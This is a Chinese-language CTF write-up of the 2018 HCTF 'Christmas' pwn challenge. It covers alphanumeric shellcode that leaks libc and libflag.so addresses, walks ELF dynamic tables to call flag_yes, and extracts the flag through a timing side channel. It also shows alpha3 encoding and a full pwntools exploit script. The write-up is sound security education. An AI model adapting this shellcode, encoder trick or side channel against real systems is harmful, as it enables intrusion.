盒子
盒子
文章目录
  1. 前言:
  2. 正文:
    1. 泄漏libc:
    2. get段地址:
    3. STRTAB段搜索:
    4. SYMTAB段搜索:
    5. 侧信道盲注flag:
    6. 利用:
    7. encode payload:
    8. EXP:
  3. 待填坑:
    1. 参考链接:

2018HCTF-Christmas

前言:

因为复现的过程中觉得这道题和我之前做的一个六字节shellcode的题目很相像,所以先打算复现它,但是在搞清楚这道题的思路的整个过程很是艰难,花了好大的劲才算基本吃透了这题。

正文:

1
2
3
4
5
6
7
8
➜  christmas checksec ./christmas 
[*] '/home/parallels/Desktop/HCTF/christmas/christmas'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

没开PIE。所以可以在此基础上泄漏libc了。

整个程序就是mmap了两块相邻的堆。一块可执行,一块不可执行,在可执行的堆块上写shellcode,且只能为数字和字母。flag在libflag.so文件中。轮到执行我们所写的shellcode的时候寄存器和栈的情况是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
RAX  0x69d352aa000 ◂— mov    rsp, rdi /* 0x3148f08948fc8948 */
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x0
RSI 0x0
R8 0x0
R9 0x0
R10 0x0
R11 0x0
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x401000 ◂— push r15
RSP 0xd7061684800 ◂— 0x0
RIP 0x69d352aa02d ◂— xor rbp, rbp /* 0x61ed3148 */
─────────────[ DISASM ]────────────
0x69d352aa01e xor r11, r11
0x69d352aa021 xor r12, r12
0x69d352aa024 xor r13, r13
0x69d352aa027 xor r14, r14
0x69d352aa02a xor r15, r15
► 0x69d352aa02d xor rbp, rbp
───────[ STACK ]─────────
00:0000│ rsp 0xd7061684800 ◂— 0x0
... ↓
────────[ BACKTRACE ]───────
► f 0 69d352aa02d
f 1 0
pwndbg>

我们的思路是这样的:

  1. 先泄漏拿到libc基地址和libflag.so的基地址。
  2. 往前盲测,在libflag.so中搜索Dynamic段拿到STRTABSYMTAB段地址。
  3. 通过flag_yes_字符串在STRTAB段中搜索,得到偏移。
  4. 通过上面的偏移在SYMTAB段中搜索flag_yes的函数偏移。
  5. call flag_yes运行flag函数。
  6. 通过侧信道来盲注flag

一下一步步讲这些的过程的shellcode编写过程。编写的shellcode不能有\x00字符。

泄漏libc:

1
2
3
4
asm(sc.mov('rax',0x602030))+\   -->puts@got
asm('mov rbx,[rax]')+\ -->拿到真实函数地址
asm(sc.mov('rcx',0x6f690))+\
asm('sub rbx,rcx')+\ -->拿到libc基地址

get段地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
asm(sc.push(0x6FFFFEF5))+\      -->DT_GNU_HASH处固定值,便于搜索
asm('''
start :
push 4
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz do
sub rbx,1
jnz start
do :
add rbx,0x18
mov r10,[rbx] -->拿到DT_STRTAB地址
add rbx,0x10
mov r11,[rbx] -->拿到DT_SYMTAB地址
sub rdi,0x1c
mov rcx,[rdi]
sub rbx,0x78
sub rbx,0x30
sub rbx,rcx
mov r12,rbx -->拿到libflag.so基地址
''')

上面拿到的DT_STRTAB和DT_SYMTAB地址是真实地址(不是偏移地址)。具体的DYNAMIC段我们来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LOAD:0000000000601E08 stru_601E08     Elf64_Dyn <1, 1>        ; DATA XREF: LOAD:0000000000400130↑o
LOAD:0000000000601E08
LOAD:0000000000601E08 ; DT_NEEDED libseccomp.so.2
LOAD:0000000000601E18 Elf64_Dyn <1, 9Bh> ; DT_NEEDED libdl.so.2
LOAD:0000000000601E28 Elf64_Dyn <1, 0B5h> ; DT_NEEDED libc.so.6
LOAD:0000000000601E38 Elf64_Dyn <0Ch, 4009D8h> ; DT_INIT
LOAD:0000000000601E48 Elf64_Dyn <0Dh, 401074h> ; DT_FINI
LOAD:0000000000601E58 Elf64_Dyn <19h, 601DF0h> ; DT_INIT_ARRAY
LOAD:0000000000601E68 Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
LOAD:0000000000601E78 Elf64_Dyn <1Ah, 601DF8h> ; DT_FINI_ARRAY
LOAD:0000000000601E88 Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
LOAD:0000000000601E98 Elf64_Dyn <6FFFFEF5h, 400298h> ; DT_GNU_HASH
LOAD:0000000000601EA8 Elf64_Dyn <5, 4005B0h> ; DT_STRTAB
LOAD:0000000000601EB8 Elf64_Dyn <6, 4002E0h> ; DT_SYMTAB
LOAD:0000000000601EC8 Elf64_Dyn <0Ah, 180h> ; DT_STRSZ

上面的DT_FINI_ARRAY和DT_INIT_ARRAY的第二个值是偏移地址不是真实地址。所以可以用他们任意一个来得到基地址。具体的可以自行写一个调试看看。

STRTAB段搜索:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
asm('mov rbx,r10')+\                    -->strtab段地址
asm(sc.pushstr('flag_yes_'))+\ -->逐字节查找字符串
asm('''
start :
push 9
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz do
add rbx,1
jnz start
do :
sub rbx,r10 -->拿到偏移
''')+\
asm('mov rax,rbx')+\

SYMTAB段搜索:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
asm('mov rbx,r11')+\                    -->SYMTAB段地址
asm('push rax')+\ -->逐字符查找上面拿到的偏移
asm('''
start :
push 3
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz do
add rbx,1
jnz start
do :
''')+\
asm('mov rax,rbx')+\
asm('add rax,0x8')+\
asm('mov rbx,[rax]')+\ -->拿到flag_yes函数偏移地址
asm('add rbx,r12')+\ -->得到真实地址
asm('call rbx')

侧信道盲注flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
asm('''
add al,%d -->call完函数返回一个字符串地址
xor rbx,rbx
xor rcx,rcx
mov bl,[rax]
add cl,%d -->对比单个字符
cmp bl,cl
jz do -->如果为0则进入死循环,即相等
xor rax,rax
mov al,60 -->syscall exit
syscall
do :
'''%(index,asc))+asm(sc.infloop())

因为程序只能用exit函数,所以无法打印出字符串,那么我们就换一种方式来输出字符串。flag的每个字符串我们都一个一个对比过去,如果一个对比相等则进入死循环,然后接下来对比第二个。

利用:

当进入死循环的时候我们就好利用了,我们设置接收超时时间为2。当进入死循环时我们就可以判定超时,从而得到我们想要的字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
p.recvuntil('tell me how to find it??\n')
#gdb.attach(p)
p.sendline(payload)
start = time.time()
p.can_recv(timeout=2) -->设置超时时间
end = time.time()
p.close()
if end - start > 2 :
#print asc
return True
else :
#p.close()
return False

encode payload:

这里因为shellcode只能用数字和字母,所以我们需要加密一下shellcode,这里有一个工具叫alpha3,可以用它来突破。当然也可以自己手写加密(难度要求蛮高的,我太菜了)。不过不能直接在Linux中使用,需要适当的修改一下。

我这里自己另写了一个小程序了解了一下他的编码过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  0x10bc79a9a030    push   rax
0x10bc79a9a031 push 0x36363630
0x10bc79a9a036 push rsp
0x10bc79a9a037 pop rcx
0x10bc79a9a038 xor dword ptr [rcx], esi
0x10bc79a9a03a xor esi, dword ptr [rcx]
0x10bc79a9a03c pop rax
0x10bc79a9a03d push 0x33333333
0x10bc79a9a042 xor dword ptr [rcx], esi
0x10bc79a9a044 imul esi, dword ptr [rcx], 0x33
0x10bc79a9a047 pop rax
0x10bc79a9a048 push 0x69
0x10bc79a9a04a push rsi
0x10bc79a9a04b xor dword ptr [rcx], esi
0x10bc79a9a04d movsxd rsi, dword ptr [rcx]
0x10bc79a9a050 pop rdx
0x10bc79a9a051 pop rax
0x10bc79a9a052 pop rcx
► 0x10bc79a9a053 xor word ptr [rcx + rsi*2 + 0x49], dx

他首先先设置好基地址和各个基数,给后面的解码打上基础。在0x10bc79a9a053处第一次解码,我们先看看原来的内存上的shellcode:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20xg 0xa9a5331c000
0xa9a5331c000: 0x3148f08948fc8948 0x48d23148c93148db
0xa9a5331c010: 0xc0314df63148ff31 0x314dd2314dc9314d
0xa9a5331c020: 0x4ded314de4314ddb 0xed3148ff314df631
0xa9a5331c030: 0x3636363068503234 0x6858313331315954
0xa9a5331c040: 0x316b313133333333 0x48313156696a5833
0xa9a5331c050: 0x54316659585a3163 0x71446b3966484971
0xa9a5331c060: 0x4430587144323057 0x3047324d33754831
0xa9a5331c070: 0x00000030304f3737 0x0000000000000000
pwndbg> p $rcx + $rsi*2 + 0x49
$2 = 0xa9a5331c05b

也就是他把0x3966异或了一下,即将接下来要执行的shellcode解码了。解码后的情况:

1
0xa9a5331c050:	0x54316659585a3163	0x71446bc6ff484971

0x3966变成了0xc6ff,看看汇编情况:

1
2
>>> disasm('\x48\xff\xc6')
' 0: 48 ff c6 inc rsi'

往后看:

1
2
3
4
5
6
  0xa9a5331c055    xor    word ptr [rcx + rsi*2 + 0x49], dx
0xa9a5331c05a inc rsi
0xa9a5331c05d imul eax, dword ptr [rcx + rsi*2 + 0x57], 0x30
0xa9a5331c062 xor al, byte ptr [rcx + rsi*2 + 0x58]
0xa9a5331c066 xor byte ptr [rcx + rsi + 0x48], al
► 0xa9a5331c06a ✔ jne 0xa9a5331c05a

这里其实就是循环解码了,逐个解码真正的最重要的shellcode的部分:

1
2
3
0xa9a5331c060:	0x4430587144323057	0x3047324d33754831
|-->从0x33开始解码
0xa9a5331c070: 0x00000030304f3737 0x0000000000000000

所有解码完成后:

1
2
3
4
5
6
7
8
0xa9a5331c060:	0x4430587144323057	0x0058056aee754831
|-->shellcode终点,停止执行
0xa9a5331c070: 0x00000030304f3737 0x0000000000000000
|-------|
|
|----->这些相当于只是辅助循环解码的字符,总共十个,
(前面还有五个)两两辅助一个解码,最终五个
shellcode。

解码完成后的shellcode:

1
2
► 0xa9a5331c06c    push   5
0xa9a5331c06e pop rax

我所写的则是mov rax,0x5

那么我们现在就可以来修改一下了,当我们直接使用alpha3的时候程序会崩溃在这里:

1
2
3
4
5
  0x10bc79a9a050    pop    rdx
0x10bc79a9a051 pop rax
0x10bc79a9a052 pop rcx
0x10bc79a9a053 xor word ptr [rcx + rsi*2 + 0x49], dx
► 0x10bc79a9a058 cmp word ptr [rbx + 0x44], bp

因为这里的$rbx + 0x44为0。所以崩溃,仔细看可以发现这里和我们上面所跟踪的:

1
2
0xa9a5331c055    xor    word ptr [rcx + rsi*2 + 0x49], dx
0xa9a5331c05a inc rsi

这里一样,只是崩溃的汇编代码没有正确执行到inc rsi。所以我们就明白具体需要修改哪里了。这里只要加上42(xor rax, ‘2’),修正base addr,就可以用了。

成功跑出flag:

7722FF93-0A8F-40D2-9603-9D581088D890

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
import time
import os
import pwnlib.shellcraft.amd64 as sc

context.arch = 'amd64'
#context.log_level = 'debug'

playload = asm(sc.mov('rax',0x602030))+\
asm('mov rbx,[rax]')+\
asm(sc.mov('rcx',0x6f690))+\
asm('sub rbx,rcx')+\
asm(sc.push(0x6FFFFEF5))+\
asm('''
start :
push 4
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz do
sub rbx,1
jnz start
do :
add rbx,0x18
mov r10,[rbx]
add rbx,0x10
mov r11,[rbx]
sub rdi,0x1c
mov rcx,[rdi]
sub rbx,0x78
sub rbx,0x30
sub rbx,rcx
mov r12,rbx
''')+\
asm('mov rbx,r10')+\
asm(sc.pushstr('flag_yes_'))+\
asm('''
start :
push 9
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz do
add rbx,1
jnz start
do :
sub rbx,r10
''')+\
asm('mov rax,rbx')+\
asm('mov rbx,r11')+\
asm('push rax')+\
asm('''
start :
push 3
pop rcx
mov rdi,rbx
mov rsi,rsp
cld
repe cmpsb
jz do
add rbx,1
jnz start
do :
''')+\
asm('mov rax,rbx')+\
asm('add rax,0x8')+\
asm('mov rbx,[rax]')+\
asm('add rbx,r12')+\
asm('call rbx')

def addplayload(index,asc) :
tmp = playload+asm('''
add al,%d
xor rbx,rbx
xor rcx,rcx
mov bl,[rax]
add cl,%d
cmp bl,cl
jz do
xor rax,rax
mov al,60
syscall
do :
'''%(index,asc))+asm(sc.infloop())
#mov al,%d;add al,%d
f = open('shell','wb')
f.write(tmp)
f.close()

def encode(index,asc) :
addplayload(index,asc)
a = os.popen("python ~/alpha3/ALPHA3.py x64 ascii mixedcase RAX --input='shell'")
payload = '42' #replace base addr
payload += a.read()
a.close()
return payload

def exp(index,asc) :
p = process('./christmas')
payload = encode(index,asc)
p.recvuntil('tell me how to find it??\n')
#gdb.attach(p)
p.sendline(payload)
start = time.time()
p.can_recv(timeout=3)
end = time.time()
p.close()
if end - start > 2 :
#print asc
return True
else :
#p.close()
return False

def start() :
scaii = '{}_+=-~?";:1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = 'HCTF{'
for i in range(5,40) :
for j in scaii :
try :
print '(%d,%d)'%(i,ord(j))
if exp(i,ord(j)) :
print j
flag += j
print flag
#raw_input('')
if j == '}' :
print flag
exit()
except Exception as e :
print e

if __name__ == '__main__' :
start()

待填坑:

找lib另一种方法:

因为程序没有pie,我们可以在got等地方get libc的地址,通过偏移算出libc_dlsym,然后调用这个函数解析flag_yes_1337所在位置。

编写encoder加密:

encode无非是xor,或一层,直接用解密真实shellcode;或两层,先解密一个精致的encoder,这个encoder再去解密真实的shellcode。

我采用了一层的做法,这样做的缺点就是encode后shellcode长度会膨胀很厉害。

如何xor指定offset的一个byte??

1
2
3
4
xor [rax+rdi],dl
xor [rax+rdi],dh
xor [rax+rdi+0x32],dl
xor [rax+rdi+0x32],dh

这些都是比较好的gadget。那问题就到了如何设置rdi上。

1
2
3
4
push XXX
push rsp
pop rcx
imul edi,[rcx],YYY

因为imul的对象是edi,因此可以将最高位溢出,得到一个几乎任意的edi值,但是XXX和YYY除都必须是alphanumeric,这个问题不大,我做了打表处理。

举个例子,我们要xor idx为80处的byte,可以通过一下代码实现。

1
2
3
4
5
push 1431655766
push rsp
pop rcx
imul edi,[rcx],48
xor [rax+rdi+48],dl

idx的问题解决了,就是怎么合理设置dl或dh的值让所有byte xor或不xor后,结果都落在alphanumeric范围中。

我用脚本跑了一下,[0x80,0xff] 的字符最少需要4个不同的值才能全部xor到alphanumeric,而[0x00,0x7f]只需要3个不同的值。

比如我们取 0x30,0x59,0x55来xor [0x00,0x7f] ,取0x80,0xc0,0x88,0xc8来xor [0x80,0xff],分别放到dh和dl,就有了下面4个int,这几个值都能通过上面设置idx的方法得到。

1
2
3
4
r8  : 0x3080
r9 : 0x59c0
r10 : 0x5988
rdx : 0x55c8

这样无论遇到什么byte,我们都能通过这个方法xor了 。

参考链接:

https://xz.aliyun.com/t/3253#toc-4

https://xz.aliyun.com/t/3255#toc-16

支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫